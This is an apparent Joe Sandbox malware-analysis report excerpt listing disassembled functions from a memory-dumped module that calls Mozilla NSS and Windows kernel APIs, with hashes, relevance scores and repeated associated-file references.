Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 3dd0a8255b476b70a9280eaea91f72ec2ae6d1a803a46d2cf691ab0d030c8754
Instruction ID: df338a7fe00d0cf0bef02f9570155569bd234f9ced3a2b01492ae394665a37bc
Opcode Fuzzy Hash: 3dd0a8255b476b70a9280eaea91f72ec2ae6d1a803a46d2cf691ab0d030c8754
Instruction Fuzzy Hash: 8C71AD759083019FD710CF29D840A5BB7F5BF88358F144929E8A993B20F736F959CB92

Function 6CCADD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCADD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CCADE77

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: bd8eeaff29ea139a8d1f427457c1dbbd8bf8e661344b01816b5e4515614560ed
Instruction ID: 89de10f6c11475bd142630c7d810fbdaa54fbc0f1f2704fad4b289f27d487248
Opcode Fuzzy Hash: bd8eeaff29ea139a8d1f427457c1dbbd8bf8e661344b01816b5e4515614560ed
Instruction Fuzzy Hash: 89716671A00316CFDB10CF9AC98869AB7B4FF89718F25816DDD596B702E730A942CF90

Function 6CC79E00 Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3(?), ref: 6CC79EB2
PR_Sleep.NSS3(00000000), ref: 6CC79EBC
PR_EnterMonitor.NSS3(?), ref: 6CC79ED8
TlsGetValue.KERNEL32 ref: 6CC79F46
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC79F8B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitSleepValue
String ID:
API String ID: 2181969484-0
Opcode ID: 56d10ccd5261c5fdf3e5b43d6fac36fb4968c3fcfcddfba4e28763508f795693
Instruction ID: 5e8cdeaa6e39a072198f2a893857ea1e637b67efc6586487b758142c8f722aff
Opcode Fuzzy Hash: 56d10ccd5261c5fdf3e5b43d6fac36fb4968c3fcfcddfba4e28763508f795693
Instruction Fuzzy Hash: 00511571A042158BEB209F2ADC40BAE7BA5FF8170CF144578DD589BA91F732D846CBA1

Function 6CC1DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(D958E852,6CC21397,5B5F5EC0,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB3C
Part of subcall function 6CC1AB10: free.MOZGLUE(D958E836,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB49
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(5D5E6CE1), ref: 6CC1AB5C
Part of subcall function 6CC1AB10: free.MOZGLUE(5D5E6CD5), ref: 6CC1AB63
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC1AB6F
Part of subcall function 6CC1AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC1AB76

TlsGetValue.KERNEL32(?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1E029
PK11_IsLoggedIn.NSS3 ref: 6CC1E046

Part of subcall function 6CC28F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FAF
Part of subcall function 6CC28F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FD1
Part of subcall function 6CC28F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC28FFA
Part of subcall function 6CC28F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29013
Part of subcall function 6CC28F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29042
Part of subcall function 6CC28F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CC2905A
Part of subcall function 6CC28F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CC29073
Part of subcall function 6CC28F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CC1DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CC29111

PR_Unlock.NSS3(?,?,?,?,6CC1B266,6CC215C6,?,?,6CC215C6), ref: 6CC1E149

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 23aa70f9d2941c44ebd99608d64a42b384141b53c6768341ff7900f6270a8c83
Instruction ID: 770804943ada85dc441401f089f44140c413bc3e56aba85e2659bd5f91c26b31
Opcode Fuzzy Hash: 23aa70f9d2941c44ebd99608d64a42b384141b53c6768341ff7900f6270a8c83
Instruction Fuzzy Hash: C0513674608601CFDB10DF2AC48876ABBF0BF44318F16895CD8998BF41E731E885DB92

Function 6CC2BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CC2BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC09F71,?,?,00000000), ref: 6CC2BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC2BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2C014

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 70da02aa98b3b1c8643e927752b485e946e7f80e224e8794dc7215c395d6a878
Instruction ID: 8716cc78574c88feb2f79f9760ce0162a90568ce63a931a90eb64753c822847c
Opcode Fuzzy Hash: 70da02aa98b3b1c8643e927752b485e946e7f80e224e8794dc7215c395d6a878
Instruction Fuzzy Hash: A341E679A012059BEB10CE6ACC50BFBB3B9AF44208F554128ED1AD7B41FB39E845CB91

Function 6CBFEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBFEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBFEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBFEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBFEEEB
free.MOZGLUE(?), ref: 6CBFEEF6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: e43eb709009bad43af618446b3d366ae543df06a8d3f64ad21cf78b214e14370
Instruction ID: 8ea4ec24edf48865697a0a7376a33013c602ce3667eea8ad671f7601f2c39d07
Opcode Fuzzy Hash: e43eb709009bad43af618446b3d366ae543df06a8d3f64ad21cf78b214e14370
Instruction Fuzzy Hash: 1A31D5716002C19BE7209F2DEC4477A7BB8FB46314F140529E9AA87B50D731E55ACBE2

Function 6CC41EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CC26295,?,00000000,00000000,00000001,6CC42653,?), ref: 6CC41ECB

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CC26295,?,00000000,00000000,00000001,6CC42653,?), ref: 6CC41EF1
EnterCriticalSection.KERNEL32(?), ref: 6CC41F01
PR_SetError.NSS3(00000000,00000000), ref: 6CC41F39

Part of subcall function 6CC4FE20: TlsGetValue.KERNEL32(6CC25ADC,?,00000000,00000001,?,?,00000000,?,6CC1BA55,?,?), ref: 6CC4FE4B
Part of subcall function 6CC4FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC4FE5F

PR_Unlock.NSS3(?), ref: 6CC41F67

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: a549f1fbf3065b10d3dd03ca0e4ff0977ef7e2e3ec79c4f8165fa9754288de58
Instruction ID: c538bdcd7d1cbe41f65e56f55c96da914b88dad40e97a9d366a5b89aef0c2a60
Opcode Fuzzy Hash: a549f1fbf3065b10d3dd03ca0e4ff0977ef7e2e3ec79c4f8165fa9754288de58
Instruction Fuzzy Hash: 0C210175A00205AFFB00AE6EDC44E9A3769AF45368F19C164FD4887B11F730E966C7E0

Function 6CC01DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC01E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC01E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC01E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CC01E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CC01EAD

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 986f591d82fb8bc8f6813d7b51caca03d2207642876141276442307a44650fd8
Instruction ID: d94bbbf2fabdd93085c5241353de03ff729ef4d9f64986a51f944d87b4012e36
Opcode Fuzzy Hash: 986f591d82fb8bc8f6813d7b51caca03d2207642876141276442307a44650fd8
Instruction Fuzzy Hash: 5721F172F08315ABD7008E6DDC48B8EB394AB8432CF154638ED6957B81F732D90986D2

Function 6CD11E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD11E5C

Part of subcall function 6CCC9BF0: TlsGetValue.KERNEL32(?,?,?,6CD10A75), ref: 6CCC9C07

PR_Lock.NSS3(00000000), ref: 6CD11E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD11EAB
PR_GetCurrentThread.NSS3 ref: 6CD11ED0
PR_Unlock.NSS3(?), ref: 6CD11EE8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 16f4b3ff2cd5ef3542262c62294e13992cbc227993795e8848271a195fb6c0ae
Instruction ID: 85e5b5c91ce5ae876329092a0b88cbaa22d3de75a3b7ac9a20feaf9395a13841
Opcode Fuzzy Hash: 16f4b3ff2cd5ef3542262c62294e13992cbc227993795e8848271a195fb6c0ae
Instruction Fuzzy Hash: 4221AFB4B18522EFD710CF99E840A46B7B1FF54718B258229D8159BF61E730F854CBD1

Function 6CC5BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?,?), ref: 6CC5BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEEB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 4636eb8ae5714f6ccd75da4aba415c90740ef7ca086bfbad2199a0e139ce179a
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 76115B7AB042096BE70089669CA0F6B7B6DEB40758F880225FE0593B51F772D83487E9

Function 6CC0AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000,00000000), ref: 6CC0ADA7

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000,00000000), ref: 6CC0ADB4

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CC03FFF,?,?,?,?,6CC03FFF,00000000,?,?,?,?,?,6CC01A1C,00000000), ref: 6CC0ADD5

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD294B0,?,?,?,?,?,?,?,?,6CC03FFF,00000000,?), ref: 6CC0ADEC

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC03FFF), ref: 6CC0AE3C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2e8d63887cc5bf19f1a0a3252084ff30ec32f6bfa53550a0eec2c440819e6688
Instruction ID: 28b7d11ced974c347ef60bb5b135a94b01d936a682a372062ded19c88dbf66a0
Opcode Fuzzy Hash: 2e8d63887cc5bf19f1a0a3252084ff30ec32f6bfa53550a0eec2c440819e6688
Instruction Fuzzy Hash: 13113B71F003055BF7109B6A9C40BBF73A8DF9524DF044229EC15D6B41F721E56982E2

Function 6CC28E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EA2

Part of subcall function 6CC4F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC4F854
Part of subcall function 6CC4F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC4F868
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC4F882
Part of subcall function 6CC4F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC4F889
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC4F8A4
Part of subcall function 6CC4F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC4F8AB
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC4F8C9
Part of subcall function 6CC4F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC4F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EC3
TlsGetValue.KERNEL32(?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C), ref: 6CC28EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC42E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC28EF1
PR_Unlock.NSS3 ref: 6CC28F20

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fa81e153802e36bef60c3aa86b1972a4704245ff858ac5456a64afcac54da8f3
Instruction ID: 8a5f94e770f8ade1783c7fe8faf95fcbd56a64c243eabf34b5b8ae95efdb222c
Opcode Fuzzy Hash: fa81e153802e36bef60c3aa86b1972a4704245ff858ac5456a64afcac54da8f3
Instruction Fuzzy Hash: 0B21D1759087059FE700AF29C0846A9BBF4FF48318F01856EED988BB40E734E854CBD2

Function 6CCAAF80 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PR_DestroyMonitor.NSS3(?), ref: 6CCAAFBC

Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED8F
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED9E
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFEDA4

PK11_FreeSymKey.NSS3(?), ref: 6CCAAFCE
free.MOZGLUE(?), ref: 6CCAAFE8
free.MOZGLUE(?), ref: 6CCAB003
free.MOZGLUE(?), ref: 6CCAB00D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

